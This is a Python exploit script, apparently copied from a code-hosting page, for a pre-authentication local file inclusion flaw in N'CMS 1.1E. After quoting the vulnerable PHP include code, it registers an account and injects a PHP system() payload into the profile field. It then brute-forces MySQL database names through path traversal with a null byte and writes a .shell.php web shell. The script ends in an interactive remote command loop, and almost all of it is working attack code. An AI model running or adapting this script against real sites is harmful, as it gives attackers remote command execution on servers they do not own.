243 lines
No EOL
7.3 KiB
Python
Executable file
243 lines
No EOL
7.3 KiB
Python
Executable file
#!/usr/bin/python
|
|
# ~INFORMATION
|
|
# Exploit Title: N`CMS 1.1E Pre-Auth Local File Inclusion Remote Code Exploit
|
|
# Date: 11/3/2011
|
|
# Software link: http://bit.ly/eJAyw5
|
|
# Tested on: Linux bt
|
|
# Version: 1.1E
|
|
# PHP.ini Settings: gpc_magic_quotes = Off
|
|
|
|
# Note: The web application was lucky to not be exploited by session
|
|
# injection with a malicious username example <?php system($_GET[cmd]);
|
|
# as htmlentities() encoded the bracket :-)
|
|
|
|
# ~VULNERABLE CODE
|
|
'''
|
|
<?php
|
|
if( isset( $_GET['page'] ) )
|
|
{
|
|
if( file_exists( 'page/'.$_GET['page'].'.php' ) )
|
|
{
|
|
include( 'page/'.$_GET['page'].'.php' );
|
|
}
|
|
else
|
|
{
|
|
include( 'page/404.php' );
|
|
}
|
|
}
|
|
else
|
|
{
|
|
include( 'page/home.php' );
|
|
}
|
|
?>
|
|
'''
|
|
import random,time,sys,urllib,urllib2,re,httplib,socket,base64,os,getpass
|
|
from optparse import OptionParser
|
|
from urlparse import urlparse,urljoin
|
|
from urllib import urlopen
|
|
from cookielib import CookieJar
|
|
|
|
__CONTACT__ ="TecR0c(tecr0c@tecninja.net)"
|
|
__DATE__ ="11.3.2011"
|
|
|
|
usage = 'Example : %s http://localhost/ncms/ -c user:pass -w databases.txt -p 127.0.0.1:8080' % __file__
|
|
parser = OptionParser(usage=usage)
|
|
parser.add_option("-p","--proxy", type="string",action="store", dest="proxy",
|
|
help="HTTP Proxy <server>:<port>")
|
|
parser.add_option("-w","--wordlist", type="string",action="store", dest="wordlist",
|
|
help="file to use to bruteforce database")
|
|
parser.add_option("-c","--credentials", type="string",action="store", dest="credentials",default="hacker:ph33r",
|
|
help="credentials for login, "
|
|
"or [default: %default]")
|
|
|
|
(options, args) = parser.parse_args()
|
|
|
|
if options.proxy:
|
|
print '[+] Using Proxy'+options.proxy
|
|
|
|
# User Agents
|
|
agents = ["Mozilla/4.0 (compatible; MSIE 5.5; Windows NT 5.0)",
|
|
"Internet Explorer 7 (Windows Vista); Mozilla/4.0 ",
|
|
"Google Chrome 0.2.149.29 (Windows XP)",
|
|
"Opera 9.25 (Windows Vista)",
|
|
"Mozilla/4.0 (compatible; MSIE 7.0b; Windows NT 5.1)",
|
|
"Opera/8.00 (Windows NT 5.1; U; en)"]
|
|
agent = random.choice(agents)
|
|
|
|
traversal = './../../../../../../../..'
|
|
|
|
def banner():
|
|
if os.name == "posix":
|
|
os.system("clear")
|
|
else:
|
|
os.system("cls")
|
|
header = '''
|
|
|----------------------------------------|
|
|
|Exploit: N'CMS LFI RCE
|
|
|Author: %s
|
|
|Date: %s
|
|
|----------------------------------------|\n
|
|
'''%(__CONTACT__,__DATE__)
|
|
for i in header:
|
|
print "\b%s"%i,
|
|
sys.stdout.flush()
|
|
time.sleep(0.005)
|
|
|
|
def proxyCheck():
|
|
if options.proxy:
|
|
try:
|
|
h2 = httplib.HTTPConnection(options.proxy)
|
|
h2.connect()
|
|
print "[+] Using Proxy Server:",options.proxy
|
|
except(socket.timeout):
|
|
print "[-] Proxy Timed Out\n"
|
|
pass
|
|
sys.exit(1)
|
|
except(NameError):
|
|
print "[-] Proxy Not Given\n"
|
|
pass
|
|
sys.exit(1)
|
|
except:
|
|
print "[-] Proxy Failed\n"
|
|
pass
|
|
sys.exit(1)
|
|
|
|
def getProxy():
|
|
try:
|
|
proxy_handler = urllib2.ProxyHandler({'http': options.proxy})
|
|
except(socket.timeout):
|
|
print "\n[-] Proxy Timed Out"
|
|
sys.exit(1)
|
|
return proxy_handler
|
|
|
|
cj = CookieJar()
|
|
if options.proxy:
|
|
opener = urllib2.build_opener(getProxy(), urllib2.HTTPCookieProcessor(cj))
|
|
else:
|
|
opener = urllib2.build_opener(urllib2.HTTPCookieProcessor(cj))
|
|
opener.addheaders = [('User-agent', agent)]
|
|
|
|
def registerUser():
|
|
webSiteUrl = url.geturl()+"?page=register"
|
|
parameters = {'login' : username,'password': password,'password2' : password,'email' : 'test@test.com',
|
|
'register' : '+Enregistrer+'}
|
|
encodedParameters = urllib.urlencode(parameters)
|
|
try:
|
|
opener.open(webSiteUrl, encodedParameters).read()
|
|
except:
|
|
print '[-] Failed'
|
|
sys.exit()
|
|
print '[+] Created User, '+username
|
|
|
|
def edit_profile():
|
|
webSiteUrl = url.geturl()+"?page=edit_profil"
|
|
parameters = { 'User-Agent' : agent,
|
|
'profil' : '<?php system(base64_decode($_REQUEST["cmd"]));?>','edit_profil' : '+Enregistrer+'}
|
|
encodedParameters = urllib.urlencode(parameters)
|
|
try:
|
|
response = opener.open(webSiteUrl, encodedParameters).read()
|
|
except:
|
|
print '[-] Failed'
|
|
sys.exit()
|
|
print '[+] Added Payload To Page'
|
|
|
|
def login():
|
|
""" Add php payload to database """
|
|
webSiteUrl = url.geturl()+"?page=register"
|
|
parameters = {'login' : username,'password' : password,'actplayer' : 'login'}
|
|
encodedParameters = urllib.urlencode(parameters)
|
|
try:
|
|
opener.open(webSiteUrl, encodedParameters).read()
|
|
except:
|
|
print '[-] Failed'
|
|
sys.exit()
|
|
print '[+] Authenticated To Website'
|
|
|
|
def traversalCmd(encodedCommand,database):
|
|
webSiteUrl = url.geturl()+"?page="+traversal+"/var/lib/mysql/"+database+"/accounts.MYD%00"
|
|
parameters = {'cmd' : encodedCommand}
|
|
encodedParameters = urllib.urlencode(parameters)
|
|
try:
|
|
opener.open(webSiteUrl, encodedParameters).read()
|
|
except:
|
|
print '[-] Failed'
|
|
sys.exit()
|
|
|
|
def postRequestWebShell(encodedCommand):
|
|
webSiteUrl = url.geturl()+'.shell.php'
|
|
commandToExecute = [
|
|
('cmd',encodedCommand)]
|
|
cmdData = urllib.urlencode(commandToExecute)
|
|
try:
|
|
response = opener.open(webSiteUrl, cmdData).read()
|
|
except:
|
|
print '[-] Failed'
|
|
sys.exit()
|
|
return response
|
|
|
|
def fileCheck():
|
|
webSiteUrl = url.geturl()+"?page="+traversal+"/var/lib/mysql/mysql_upgrade_info%00"
|
|
try:
|
|
response = opener.open(webSiteUrl).read()
|
|
except:
|
|
print '[-] Failed'
|
|
sys.exit()
|
|
doesntExist = re.compile(r"Erreur 404")
|
|
findAnswer = doesntExist.search(response)
|
|
if findAnswer:
|
|
"[-] Can Not Use This Techinque"
|
|
sys.exit()
|
|
|
|
def bruteForceDatabase():
|
|
try:
|
|
databases = open(options.wordlist, "r").readlines()
|
|
print "[+] Length Of Wordlist: "+str(len(databases))
|
|
except(IOError):
|
|
print "[-] Error: Check Your Wordlist Path\n"
|
|
sys.exit(1)
|
|
for database in databases:
|
|
database = database.replace("\r","").replace("\n","")
|
|
webSiteUrl = url.geturl()+"?page="+traversal+"/var/lib/mysql/"+database+"/accounts.MYD%00"
|
|
print '[X] Testing Database Name: '+database
|
|
try:
|
|
response = opener.open(webSiteUrl).read()
|
|
except urllib2.HTTPError, error:
|
|
print '[-] Failed'
|
|
payload = re.compile(r"Erreur 404")
|
|
findPayload = payload.search(response)
|
|
if not findPayload:
|
|
print '[+] Found Database: '+database+'\n'
|
|
commandLine(database)
|
|
|
|
def commandLine(database):
|
|
encodedCommand = "echo '<?php system(base64_decode($_REQUEST[cmd]));?>' > .shell.php"
|
|
encodedCommand = base64.b64encode(encodedCommand)
|
|
traversalCmd(encodedCommand,database)
|
|
commandLine = ('[RSHELL] %s@%s# ') % (getpass.getuser(),url.netloc)
|
|
while True:
|
|
try:
|
|
command = raw_input(commandLine)
|
|
encodedCommand = base64.b64encode(command)
|
|
response = postRequestWebShell(encodedCommand)
|
|
print response
|
|
except KeyboardInterrupt:
|
|
encodedCommand = base64.b64encode('rm .shell.php')
|
|
postRequestWebShell(encodedCommand)
|
|
print "\n[!] Removed .shell.php\n"
|
|
sys.exit()
|
|
|
|
if "__main__" == __name__:
|
|
banner()
|
|
try:
|
|
url=urlparse(args[0])
|
|
except:
|
|
parser.print_help()
|
|
sys.exit()
|
|
getProxy()
|
|
username, password = options.credentials.split(':')
|
|
proxyCheck()
|
|
registerUser()
|
|
login()
|
|
edit_profile()
|
|
fileCheck()
|
|
bruteForceDatabase() |